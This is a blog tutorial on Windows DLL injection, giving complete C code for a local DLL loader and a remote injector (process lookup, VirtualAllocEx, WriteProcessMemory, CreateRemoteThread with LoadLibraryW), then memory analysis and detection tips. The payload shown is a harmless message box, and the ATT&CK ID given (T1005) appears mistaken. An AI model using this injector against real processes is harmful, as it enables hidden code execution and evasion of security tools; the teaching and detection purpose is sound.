Home Process Injection: DLL Injection
Post
Cancel

Process Injection: DLL Injection

OIG2.jpg

Process Injection is a technique (T1005 in the MITRE ATT&CK framework) used by attackers to execute arbitrary code in the address space of another process. With this technique, they can gain elevated privileges and hide their presence from security tools. There are several methods (sub-techniques) to achieve this , but in this post we will focus in the DLL Injection.

DLL injection (T1005.001) is a method of executing arbitrary code in the address space of a separate live process by making it use a dll that contains malicious code.

A DLL is a file format used for holding multiple codes and procedures that can be shared by different programs simultaneously.

Before explaining how to perform a DLL Injection to another process, we will understand how DLLs work and how processes can load them with a practical example.

Practical Example: Local Loading

In this example we will create a DLL and create a process that voluntary loads it.

We will use Visual Studio to create a DLL in C. This DLL will just display a Message Box whenever the DLL is loaded, using MessageBoxA function from Windows API.

DLL can specify an entry point function whenever that specific action (entry point) occurs. These are the 4 possible entry points:

  • DLL_PROCESS_ATTACH - A process is loading the DLL.
  • DLL_THREAD_ATTACH - A process is creating a new thread.
  • DLL_THREAD_DETACH - A thread exits normally.
  • DLL_PROCESS_DETACH - A process unloads the DLL.

Functions in Windows API end with ‘A’ if they use ANSI characters or with ‘W’ if they use Unicode (wide characters).

This is the function that will trigger the message box:

1
2
3
4
5
#include <Windows.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Congrats! DLL loaded :)!", "Local DLL Loading", MB_ICONINFORMATION);
}

We will also define the DllMain function, which is the entry point function. Deppending on the entry point case, it will do one thing or another. Since we want to execute the message box when the DLL is loaded, we have to use the DLL_PROCESS_ATTACH case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        MsgBoxPayload();
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

With this two functions we will have our DLL. Now we will create a program that loads this DLL into its memory. This executable will use the LoadLibraryA function from Windows API to load the DLL in its own process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[]) {
	
	if (argc < 2) {
		printf("[!] You must provide the DLL path \n");
		return -1; 
	}

	printf("[i] Injecting \"%s\" to the local process of PID: %d \n", argv[1], GetCurrentProcessId());
	
	if (LoadLibraryA(argv[1]) == NULL) {
		printf("[!] LoadLibraryA failed to load the DLL with error: %d \n", GetLastError());
		return -1;
	}

	printf("[*] DLL loaded correctly! \n");

	return  0;
}

Untitled

We just created a DLL and a process that when executed, loads this DLL and the DLL function that pops a message box gets executed.

Now, we will do another practical example but this time performing a real DLL Injection (Injecting the DLL into another process).

Practice Example: Remote DLL Injection

The steps to perform a DLL injection are:

  1. Identify the Target Process
  2. Obtain a handle to the target process
  3. Allocate Memory Space on the remote process
  4. Write the DLL Path in the new memory space
  5. Create a Remote Thread

Steps 1 and 2: “Identify the Target Process” and “Obtain a handle to the target process”

The attacker will first identify a process into which the DLL will be injected. They often search for process that run in SYSTEM context in order to obtain higher privileges. They can use functions such as EnumProcessess (library psapi) , Get-Process (PowerShell) or CreateToolhelp32Snapshot (Windows API)

We will do an example using the CreateToolhelp32Snapshot function which takes a snapshot of processes/heaps/modules and threads. If we want to take a snapshot of all the processes that are running at that moment, we must use the TH32CS_SNAPPROCESS flag.

1
2
3
4
5
6
7
8
HANDLE hSnapShot = NULL;

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

if (hSnapShot == INVALID_HANDLE_VALUE){
		printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
}

Once the snapshot has been done, we can use the Process32First and Process32Next functions to iterate through the processes, but these function require a struct named PROCESSENTRY32 as a second parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;       
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];        
} PROCESSENTRY32;

When you send this struct to Process32First (and then to Process32Next) they populate it with information about the process. So we can iterate through all of them and compare the szExeFile attribute with the process name we want to find. We can use a do-while loop.

Once the target process is identified, the attackers need to interact with it (read from its virtual memory, write to it, etc.). They can use the function OpenProcess if the function has the necessary access rights, such as PROCESS_ALL_ACCESS.

op.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PROCESSENTRY32	Proc = {
	.dwSize = sizeof(PROCESSENTRY32) 
};

	// Step 1: Identify the Target process
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	//Convert the string to lowercase to avoid comparison problems
	do {
		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {
			DWORD dwSize = lstrlenW(Proc.szExeFile);
			DWORD i = 0;

			RtlSecureZeroMemory(LowerName, sizeof(LowerName));

			if (dwSize < MAX_PATH * 2) {
				for (; i < dwSize; i++) {
					LowerName[i] = towlower(Proc.szExeFile[i]);
				}

				LowerName[i] = L'\0';
			}
		}

		if (wcscmp(LowerName, szTargetProcessName) == 0) {
			*dwProcessId = Proc.th32ProcessID;
			// Step 2: Obtain and open a handle to the target process
			*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

	} while (Process32Next(hSnapShot, &Proc));

The whole function code looks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
BOOL GetRemoteProcessHandle(IN LPWSTR szTargetProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

	HANDLE hSnapShot = NULL;
	PROCESSENTRY32	Proc = {
		.dwSize = sizeof(PROCESSENTRY32)
	};

	//Create the snapshot of all processes
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Step 1: Identify the Target process
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	//Convert the string to lowercase to avoid comparison problems
	do {
		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {
			DWORD dwSize = lstrlenW(Proc.szExeFile);
			DWORD i = 0;

			RtlSecureZeroMemory(LowerName, sizeof(LowerName));

			if (dwSize < MAX_PATH * 2) {
				for (; i < dwSize; i++) {
					LowerName[i] = towlower(Proc.szExeFile[i]);
				}

				LowerName[i] = L'\0';
			}
		}

		if (wcscmp(LowerName, szTargetProcessName) == 0) {
			*dwProcessId = Proc.th32ProcessID;
			// Step 2: Obtain and open a handle to the target process
			*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break; 
		}

	} while (Process32Next(hSnapShot, &Proc));

	// Cleanup
_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwProcessId == NULL || *hProcess == NULL)
		return FALSE;
	return TRUE;
}

With this function we are have done steps 1 and 2 from the process (Identifying a process and obtaining a handler: hProcess)

Steps 3, 4 and 5: “Allocate Memory Space on the remote process”, “Write the DLL Path in the new memory space” and “Create a remote thread”

Now, in order to inject the DLL, we will need to allocate memory and write the dll path there so the new thread can load it (steps 3, 4 and 5).

To achieve this we will create a function that takes the process handler and the DLL name as entry arguments.

In the “local loading” example we used LoadLibraryA to load the DLL. However, since we don’t want to load the DLL in our process, we can’t directly use it. What we will do is load address of the function to a remotely created thread in the target process, passing the DLL name as a parameter.

This is because Windows guarantees that all the core DLLs get loaded in the same spot in the same boot session. This means every time you boot your computer, and you check where Kernell32.dll is loaded in a process, it will be at the same location within any other running process. That goes the same for any functions inside Kernell32.dll, such as LoadLibrary.

We will use the GetProcAddress function to get that address.

1
2
3
4
5
6
7
LPVOID		pLoadLibraryW = NULL;
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	if (pLoadLibraryW == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

Next, to allocate the memory in the remote process we will use the VirtualAllocEx function. We need to specify the size of space to allocate:

1
2
3
4
5
6
//Step 3: Allocate Memory Space
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
	printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}

Now that we have allocated the memory, we will write the DLL name using the WritePRoccessMemory function, starting at the pAddress that we just obtained.

1
2
3
4
5
6
7
SIZE_T lpNumberOfBytesWritten = NULL;
DWORD		dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
//Step 4: Write DllName (Path) to the other process memory
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite) {
	printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}

The last step is to create a new thread using CreateRemoteThread function. The starting address of this thread will be the pLoadLibraryW that we obtained before. Since this address the LoadLibraryW address, it will execute that function. If we read the CreateRemoteThread documentation, the function has these parameters:

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

As we can see, the lpStartAddress is a pointer to the starting address of the function that the thread will execute (in this case LoadLibraryW) and the lpParameter is a pointer to a variable sent to the thread. We will use a pointer to the memory address we allocated and wrote the DLL path as lpParameter .

1
2
3
4
5
6
7
8
HANDLE		hThread = NULL;
//Step 5: Create a new Thread starting at the LoadLibraryW function address
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
	printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
	bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE !\n");

The complete function code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BOOL InjectDll(HANDLE hProcess, LPWSTR DllName) {

	BOOL		bSTATE = TRUE;

	LPVOID		pLoadLibraryW = NULL;
	LPVOID		pAddress = NULL;

	DWORD		dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);

	SIZE_T		lpNumberOfBytesWritten = NULL;

	HANDLE		hThread = NULL;

	pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	if (pLoadLibraryW == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	//Step 3: Allocate Memory Space
	pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL) {
		printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	printf("[i] pAddress Allocated At : 0x%p Of Size : %d\n", pAddress, dwSizeToWrite);

	//Step 4: Write DllName (Path) to the other process memory
	if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite) {
		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	//Step 5: Create a new Thread starting at the LoadLibraryW function address
	hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
	if (hThread == NULL) {
		printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}
	printf("[+] DONE !\n");

_EndOfFunction:
	if (hThread)
		CloseHandle(hThread);
	return bSTATE;
}

Overview

At this point, we have two functions, GetRemoteProcessHandle (which performs steps 1 and 2) InjectDll (which performs steps 3, 4 and 5). With a main function that obtains the Dll path and the name of the process, the whole DllLoader code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>

BOOL GetRemoteProcessHandle(IN LPWSTR szTargetProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

	HANDLE hSnapShot = NULL;
	PROCESSENTRY32	Proc = {
		.dwSize = sizeof(PROCESSENTRY32)
	};

	//Create the snapshot of all processes
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Step 1: Identify the Target process
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	//Convert the string to lowercase to avoid comparison problems
	do {
		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {
			DWORD dwSize = lstrlenW(Proc.szExeFile);
			DWORD i = 0;

			RtlSecureZeroMemory(LowerName, sizeof(LowerName));

			if (dwSize < MAX_PATH * 2) {
				for (; i < dwSize; i++) {
					LowerName[i] = towlower(Proc.szExeFile[i]);
				}

				LowerName[i] = L'\0';
			}
		}

		if (wcscmp(LowerName, szTargetProcessName) == 0) {
			*dwProcessId = Proc.th32ProcessID;
			// Step 2: Obtain and open a handle to the target process
			*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

	} while (Process32Next(hSnapShot, &Proc));

	// Cleanup
_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwProcessId == NULL || *hProcess == NULL)
		return FALSE;
	return TRUE;
}

BOOL InjectDll(HANDLE hProcess, LPWSTR DllName) {

	BOOL		bSTATE = TRUE;

	LPVOID		pLoadLibraryW = NULL;
	LPVOID		pAddress = NULL;

	DWORD		dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);

	SIZE_T		lpNumberOfBytesWritten = NULL;

	HANDLE		hThread = NULL;

	pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	if (pLoadLibraryW == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	//Step 3: Allocate Memory Space
	pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL) {
		printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	printf("[i] pAddress Allocated At : 0x%p Of Size : %d\n", pAddress, dwSizeToWrite);

	//Step 4: Write DllName (Path) to the other process memory
	if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite) {
		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}

	//Step 5: Create a new Thread starting at the LoadLibraryW function address
	hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
	if (hThread == NULL) {
		printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}
	printf("[+] DONE !\n");

_EndOfFunction:
	if (hThread)
		CloseHandle(hThread);
	return bSTATE;
}

int wmain(int argc, wchar_t* argv[]) {
	HANDLE	hProcess = NULL;
	DWORD	dwProcessId = NULL;

	if (argc < 3) {
		wprintf(L"[!] You must provide The Dll Payload Path and Process Name as arguments!\n");
	}
	
	wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[2]);
	//Steps 1 and 2 occur here
	if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
		printf("[!] Process is Not Found \n");
		return -1;
	}
	printf("[i] Found Target Process Pid: %d \n", dwProcessId);
	// Steps 3,4 and 5 occur here
	if (!InjectDll(hProcess, argv[1])) {
		return -1;
	}

	CloseHandle(hProcess);
	return 0;

}

Now, we can open notepad and try to execute this new program we created and using notepad.exe as the target process and the Dll that we created in the “local loader” example :

Untitled

Memory Analysis

After executing the new exe we created, we could run a debugger like x64dbg and attach it to the notepad.exe process. As we can see in the image, if we search for the memory address (red) that te code allocated, we can find the path of the DLL (green).

Untitled

Detecting DLL injections

Detecting DLL injections can be hard if you have to do it by yourself. There are different approaches that you can do to detect them:

  • Monitor for API calls such as LoadLibrary , VirtualAllocEx , WriteProcessMemory , etc. You can use API hooks to trigger alerts whenever these calls are executed.
  • Enum loaded DLLs and detect malicious ones. You can use calls such as EnumProcessModules and CreateToolhelp32Snapshot to review the dlls loaded by a process.
  • With Sysmon, the CreateRemoteThread triggers an event with ID 8

To use these you would need to create your own tool, and even if you do it, you will be flooded with false positive, since Dll injection can be used in legit ways.

Security Tools such as Crowd-strike have OS hooks that allows them to detect these events. Moreover, they have a lot of intelligence and can check if the Dll being loaded is malicious or not. Moreover, they can also do Behavioral Analysis and track sequence of operations and build a behavior profile. If a process performs actions that match known attack patterns or deviate significantly from normal behavior, CrowdStrike can flag it as suspicious and take appropriate action, such as quarantining the process or alerting an administrator.

This post is licensed under CC BY 4.0 by the author.